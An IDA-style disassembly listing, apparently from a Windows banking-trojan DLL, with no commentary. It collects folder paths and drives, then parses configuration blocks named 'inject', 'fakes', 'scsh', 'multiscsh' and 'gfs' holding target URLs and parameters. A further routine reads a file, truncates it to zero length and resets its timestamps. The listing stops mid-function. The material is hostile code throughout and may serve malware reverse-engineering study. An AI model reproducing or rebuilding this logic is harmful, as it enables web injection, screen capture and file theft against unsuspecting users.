		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2C4], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_410], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_414], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_414]
		mov	dword_1005FED8[eax*4], ecx
		jmp	short loc_10009342
; ---------------------------------------------------------------------------


loc_100093A6:				; CODE XREF: sub_1000878F+BC5j
		push	0
		push	19h
		lea	edx, [ebp+String2]
		push	edx
		push	0
		call	dword_1006A8F4	; SHGetSpecialFolderPathA
		lea	eax, [ebp+String2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_128]
		mov	dword_1005FED8[ecx*4], eax
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_128]
		mov	ecx, dword_1005FED8[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_128]
		add	edx, 1
		mov	[ebp+var_128], edx
		push	0
		push	10h
		lea	eax, [ebp+String2]
		push	eax
		push	0
		call	dword_1006A8F4	; SHGetSpecialFolderPathA
		lea	ecx, [ebp+String2]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_128]
		mov	dword_1005FED8[edx*4], eax
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_128]
		mov	edx, dword_1005FED8[ecx*4]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	eax, [ebp+var_128]
		add	eax, 1
		mov	[ebp+var_128], eax
		push	0
		push	5
		lea	ecx, [ebp+String2]
		push	ecx
		push	0
		call	dword_1006A8F4	; SHGetSpecialFolderPathA
		lea	edx, [ebp+String2]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_128]
		mov	dword_1005FED8[ecx*4], eax
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_128]
		mov	ecx, dword_1005FED8[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_128]
		add	edx, 1
		mov	[ebp+var_128], edx
		call	ds:GetLogicalDrives	; GetLogicalDrives
		mov	[ebp+var_234], eax
		mov	[ebp+var_230], 2
		jmp	short loc_100094F9
; ---------------------------------------------------------------------------


loc_100094EA:				; CODE XREF: sub_1000878F:loc_10009610j
		mov	eax, [ebp+var_230]
		add	eax, 1
		mov	[ebp+var_230], eax


loc_100094F9:				; CODE XREF: sub_1000878F+D59j
		cmp	[ebp+var_230], 20h
		jge	loc_10009615
		mov	edx, 1
		mov	ecx, [ebp+var_230]
		shl	edx, cl
		mov	eax, [ebp+var_234]
		and	eax, edx
		test	eax, eax
		jz	loc_10009610
		mov	[ebp+RootPathName], 0
		xor	ecx, ecx
		mov	[ebp+var_24B], ecx
		mov	[ebp+var_247], ecx
		mov	[ebp+var_243], ecx
		mov	[ebp+var_23F], ecx
		mov	[ebp+var_23B], cx
		mov	[ebp+var_239], cl
		mov	edx, [ebp+var_230]
		add	edx, 61h
		mov	[ebp+var_238], dl
		movsx	eax, [ebp+var_238]
		push	eax
		push	offset aC	; "%c:\\"
		lea	ecx, [ebp+RootPathName]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		lea	edx, [ebp+RootPathName]
		push	edx		; lpRootPathName
		call	ds:GetDriveTypeA	; GetDriveTypeA
		mov	[ebp+var_250], eax
		cmp	[ebp+var_250], 2
		jz	short loc_100095A2
		cmp	[ebp+var_250], 3
		jnz	short loc_10009610


loc_100095A2:				; CODE XREF: sub_1000878F+E08j
		movsx	eax, [ebp+var_238]
		push	eax
		push	offset aC?	; "%c:?"
		lea	ecx, [ebp+RootPathName]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		lea	edx, [ebp+RootPathName]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_128]
		mov	dword_1005FED8[ecx*4], eax
		lea	edx, [ebp+RootPathName]
		push	edx		; lpString2
		mov	eax, [ebp+var_128]
		mov	ecx, dword_1005FED8[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_128]
		add	edx, 1
		mov	[ebp+var_128], edx


loc_10009610:				; CODE XREF: sub_1000878F+D8Ej
					; sub_1000878F+E11j
		jmp	loc_100094EA
; ---------------------------------------------------------------------------


loc_10009615:				; CODE XREF: sub_1000878F+D71j
		push	0
		push	offset aLimits	; "limits"
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_418], eax
		mov	ecx, [ebp+var_418]
		mov	[ebp+var_41C], ecx
		mov	byte ptr [ebp+var_4], 0Bh
		mov	edx, [ebp+var_41C]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_2C8]
		call	sub_1001A728
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10034260,	eax
		push	8		; Size
		push	0		; Val
		mov	eax, dword_10034260
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aNum	; "num"
		push	0		; int
		push	offset aInject_10 ; "inject"
		mov	ecx, dword_10034260
		mov	edx, [ecx]
		push	edx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2CC], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_420], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_424], eax
		mov	ecx, dword_10034260
		mov	edx, [ebp+var_424]
		mov	[ecx], edx
		push	0		; int
		push	offset aRep	; "rep"
		push	0		; int
		push	offset aInject_11 ; "inject"
		mov	eax, dword_10034260
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2D0], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_428], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_42C], eax
		mov	eax, dword_10034260
		mov	ecx, [ebp+var_42C]
		mov	[eax+4], ecx
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10030228,	eax
		push	8		; Size
		push	0		; Val
		mov	edx, dword_10030228
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aNum_0	; "num"
		push	0		; int
		push	offset aScsh	; "scsh"
		mov	eax, dword_10030228
		mov	ecx, [eax]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2D4], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_430], eax
		call	sub_1000827F
		add	esp, 18h
		mov	dword ptr [ebp+var_434], eax
		mov	eax, dword_10030228
		mov	ecx, dword ptr [ebp+var_434]
		mov	[eax], ecx
		push	0		; int
		push	offset aRep_0	; "rep"
		push	0		; int
		push	offset aScsh_0	; "scsh"
		mov	edx, dword_10030228
		mov	eax, [edx+4]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2D8], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_438], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_43C], eax
		mov	eax, dword_10030228
		mov	ecx, [ebp+var_43C]
		mov	[eax+4], ecx
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_1002C20C,	eax
		push	8		; Size
		push	0		; Val
		mov	edx, dword_1002C20C
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aNum_1	; "num"
		push	0		; int
		push	offset aGp	; "gp"
		mov	eax, dword_1002C20C
		mov	ecx, [eax]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2DC], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_440], eax
		call	sub_1000827F
		add	esp, 18h
		mov	dword ptr [ebp+var_444], eax
		mov	eax, dword_1002C20C
		mov	ecx, dword ptr [ebp+var_444]
		mov	[eax], ecx
		push	0		; int
		push	offset aRep_1	; "rep"
		push	0		; int
		push	offset aGp_0	; "gp"
		mov	edx, dword_1002C20C
		mov	eax, [edx+4]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2E0], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_448], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_44C], eax
		mov	eax, dword_1002C20C
		mov	ecx, [ebp+var_44C]
		mov	[eax+4], ecx
		push	0
		push	offset aFakes	; "fakes"
		lea	edx, [ebp+var_2E4]
		push	edx
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_450], eax
		mov	eax, [ebp+var_450]
		mov	[ebp+var_454], eax
		mov	byte ptr [ebp+var_4], 0Ch
		mov	ecx, [ebp+var_454]
		push	ecx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_2E4]
		call	sub_1001A728
		push	offset aFake	; "fake"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_100098F6
; ---------------------------------------------------------------------------


loc_100098ED:				; CODE XREF: sub_1000878F+13AAj
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_100098F6:				; CODE XREF: sub_1000878F+115Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_128]
		jge	loc_10009B3E
		push	18h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	dword_1003F130[ecx*4], eax
		push	18h		; Size
		push	0		; Val
		mov	edx, [ebp+var_18]
		mov	eax, dword_1003F130[edx*4]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aUrl_2	; "url"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aFake_0	; "fake"
		mov	edx, [ebp+var_18]
		mov	eax, dword_1003F130[edx*4]
		mov	ecx, [eax]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2E8], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_458], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_45C], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F130[eax*4]
		mov	edx, [ebp+var_45C]
		mov	[ecx], edx
		push	0		; int
		push	offset aParam	; "param"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aFake_1	; "fake"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2EC], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_460], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_464], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F130[eax*4]
		mov	edx, [ebp+var_464]
		mov	[ecx+4], edx
		push	1		; int
		push	offset aItem1	; "item1"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aFake_2	; "fake"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+8]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2F0], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_468], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F130[eax*4]
		mov	edx, [ebp+var_46C]
		mov	[ecx+8], edx
		push	1		; int
		push	offset aItem2	; "item2"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aFake_3	; "fake"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+0Ch]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2F4], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_470], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_474], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F130[eax*4]
		mov	edx, [ebp+var_474]
		mov	[ecx+0Ch], edx
		push	0		; int
		push	offset aType_0	; "type"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aFake_4	; "fake"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+10h]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2F8], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_478], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_47C], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F130[eax*4]
		mov	edx, [ebp+var_47C]
		mov	[ecx+10h], edx
		push	0		; int
		push	offset aRtype	; "rtype"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aFake_5	; "fake"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+14h]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2FC], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_480], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F130[eax*4]
		mov	edx, [ebp+var_484]
		mov	[ecx+14h], edx
		jmp	loc_100098ED
; ---------------------------------------------------------------------------


loc_10009B3E:				; CODE XREF: sub_1000878F+1170j
		push	0
		push	offset aScshs	; "scshs"
		lea	eax, [ebp+var_300]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_488], eax
		mov	ecx, [ebp+var_488]
		mov	[ebp+var_48C], ecx
		mov	byte ptr [ebp+var_4], 0Dh
		mov	edx, [ebp+var_48C]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_300]
		call	sub_1001A728
		push	offset aScsh_1	; "scsh"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_10009BAD
; ---------------------------------------------------------------------------


loc_10009BA4:				; CODE XREF: sub_1000878F+1505j
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_10009BAD:				; CODE XREF: sub_1000878F+1413j
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_128]
		jge	loc_10009C99
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_18]
		mov	dword_1003F770[edx*4], eax
		push	8		; Size
		push	0		; Val
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F770[eax*4]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aUrl_3	; "url"
		mov	edx, [ebp+var_18]
		push	edx		; int
		push	offset aScsh_2	; "scsh"
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F770[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_304], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_490], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_494], eax
		mov	ecx, [ebp+var_18]
		mov	edx, dword_1003F770[ecx*4]
		mov	eax, [ebp+var_494]
		mov	[edx], eax
		push	1		; int
		push	offset aParam_0	; "param"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aScsh_3	; "scsh"
		mov	edx, [ebp+var_18]
		mov	eax, dword_1003F770[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_308], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_498], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_49C], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_1003F770[eax*4]
		mov	edx, [ebp+var_49C]
		mov	[ecx+4], edx
		jmp	loc_10009BA4
; ---------------------------------------------------------------------------


loc_10009C99:				; CODE XREF: sub_1000878F+1427j
		push	0
		push	offset aMultiscshs ; "multiscshs"
		lea	eax, [ebp+var_30C]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_4A0], eax
		mov	ecx, [ebp+var_4A0]
		mov	[ebp+var_4A4], ecx
		mov	byte ptr [ebp+var_4], 0Eh
		mov	edx, [ebp+var_4A4]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_30C]
		call	sub_1001A728
		push	offset aMultiscsh ; "multiscsh"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_10009D08
; ---------------------------------------------------------------------------


loc_10009CFF:				; CODE XREF: sub_1000878F+1660j
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_10009D08:				; CODE XREF: sub_1000878F+156Ej
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_128]
		jge	loc_10009DF4
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_18]
		mov	dword_10043770[edx*4], eax
		push	8		; Size
		push	0		; Val
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10043770[eax*4]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aUrl_4	; "url"
		mov	edx, [ebp+var_18]
		push	edx		; int
		push	offset aMultiscsh_0 ; "multiscsh"
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10043770[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_310], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_4A8], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_4AC], eax
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10043770[ecx*4]
		mov	eax, [ebp+var_4AC]
		mov	[edx], eax
		push	1		; int
		push	offset aParam_1	; "param"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aMultiscsh_1 ; "multiscsh"
		mov	edx, [ebp+var_18]
		mov	eax, dword_10043770[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_314], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_4B0], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_4B4], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10043770[eax*4]
		mov	edx, [ebp+var_4B4]
		mov	[ecx+4], edx
		jmp	loc_10009CFF
; ---------------------------------------------------------------------------


loc_10009DF4:				; CODE XREF: sub_1000878F+1582j
		push	0
		push	offset aGfs	; "gfs"
		lea	eax, [ebp+var_318]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_4B8], eax
		mov	ecx, [ebp+var_4B8]
		mov	[ebp+var_4BC], ecx
		mov	byte ptr [ebp+var_4], 0Fh
		mov	edx, [ebp+var_4BC]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_318]
		call	sub_1001A728
		push	offset aGf	; "gf"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_10009E63
; ---------------------------------------------------------------------------


loc_10009E5A:				; CODE XREF: sub_1000878F+17BBj
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_10009E63:				; CODE XREF: sub_1000878F+16C9j
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_128]
		jge	loc_10009F4F
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_18]
		mov	dword_10047770[edx*4], eax
		push	8		; Size
		push	0		; Val
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10047770[eax*4]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aUrl_5	; "url"
		mov	edx, [ebp+var_18]
		push	edx		; int
		push	offset aGf_0	; "gf"
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10047770[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_31C], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_4C0], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_4C4], eax
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10047770[ecx*4]
		mov	eax, [ebp+var_4C4]
		mov	[edx], eax
		push	1		; int
		push	offset aParam_2	; "param"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aGf_1	; "gf"
		mov	edx, [ebp+var_18]
		mov	eax, dword_10047770[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_320], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_4C8], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_4CC], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10047770[eax*4]
		mov	edx, [ebp+var_4CC]
		mov	[ecx+4], edx
		jmp	loc_10009E5A
; ---------------------------------------------------------------------------


loc_10009F4F:				; CODE XREF: sub_1000878F+16DDj
		mov	[ebp+var_324], 1
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_10]
		call	sub_1001A728
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_14]
		call	sub_1001A728
		mov	eax, [ebp+var_324]
		jmp	short loc_10009FD4
; ---------------------------------------------------------------------------


loc_10009F7C:				; CODE XREF: sub_1000878F+F2j
		mov	[ebp+var_328], 0
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_10]
		call	sub_1001A728
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_14]
		call	sub_1001A728
		mov	eax, [ebp+var_328]
		jmp	short loc_10009FD4
; ---------------------------------------------------------------------------


loc_10009FA9:				; CODE XREF: sub_1000878F+8Fj
		mov	[ebp+var_32C], 0
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_10]
		call	sub_1001A728
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_14]
		call	sub_1001A728
		mov	eax, [ebp+var_32C]


loc_10009FD4:				; CODE XREF: sub_1000878F+17EBj
					; sub_1000878F+1818j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000878F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10009FE2(LPCSTR Str, int)

sub_10009FE2	proc near		; CODE XREF: sub_1000291D+19Ap
					; sub_1000A318+F0p

var_114		= dword	ptr -114h
hObject		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
NumberOfBytesRead= dword ptr -108h
String2		= byte ptr -104h
var_103		= byte ptr -103h
lpString	= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	edi
		mov	[ebp+var_10C], 0
		mov	[ebp+var_114], 0
		mov	[ebp+lpString],	0
		mov	[ebp+String2], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022050
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_9	; "%s%s"
		lea	edx, [ebp+String2]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	7		; dwShareMode
		push	0C0000000h	; dwDesiredAccess
		mov	eax, [ebp+Str]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000A091
		push	0		; lpFileSizeHigh
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp+var_114], eax


loc_1000A091:				; CODE XREF: sub_10009FE2+98j
		mov	edx, [ebp+var_114]
		add	edx, 1
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString],	eax
		mov	eax, [ebp+var_114]
		add	eax, 1
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+lpString]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		cmp	[ebp+var_114], 0BB8h
		jnb	short loc_1000A0EE
		cmp	[ebp+arg_4], 0
		jnz	short loc_1000A0EE
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000A0E7
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000A0E7:				; CODE XREF: sub_10009FE2+F6j
		xor	eax, eax
		jmp	loc_1000A313
; ---------------------------------------------------------------------------


loc_1000A0EE:				; CODE XREF: sub_10009FE2+E7j
					; sub_10009FE2+EDj
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000A164
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		mov	ecx, [ebp+var_114]
		add	ecx, 1
		push	ecx		; nNumberOfBytesToRead
		mov	edx, [ebp+lpString]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:ReadFile	; ReadFile
		push	0		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:SetEndOfFile	; SetEndOfFile
		push	offset CreationTime ; lpLastWriteTime
		push	offset CreationTime ; lpLastAccessTime
		push	offset CreationTime ; lpCreationTime
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:SetFileTime	; SetFileTime
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000A164:				; CODE XREF: sub_10009FE2+113j
					; sub_10009FE2+1ADj
		mov	edx, [ebp+var_10C]
		cmp	dword_1004B770[edx*4], 0
		jz	short loc_1000A191
		cmp	[ebp+var_10C], 1000h
		jnb	short loc_1000A191
		mov	eax, [ebp+var_10C]
		add	eax, 1
		mov	[ebp+var_10C], eax
		jmp	short loc_1000A164
; ---------------------------------------------------------------------------


loc_1000A191:				; CODE XREF: sub_10009FE2+190j
					; sub_10009FE2+19Cj
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_10C]
		mov	dword_1004B770[ecx*4], eax
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022050
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_10	; "%s%s"
		lea	ecx, [ebp+String2]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_10C]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_10C]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+lpString]
		mov	[eax+100h], ecx
		mov	edx, [ebp+lpString]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
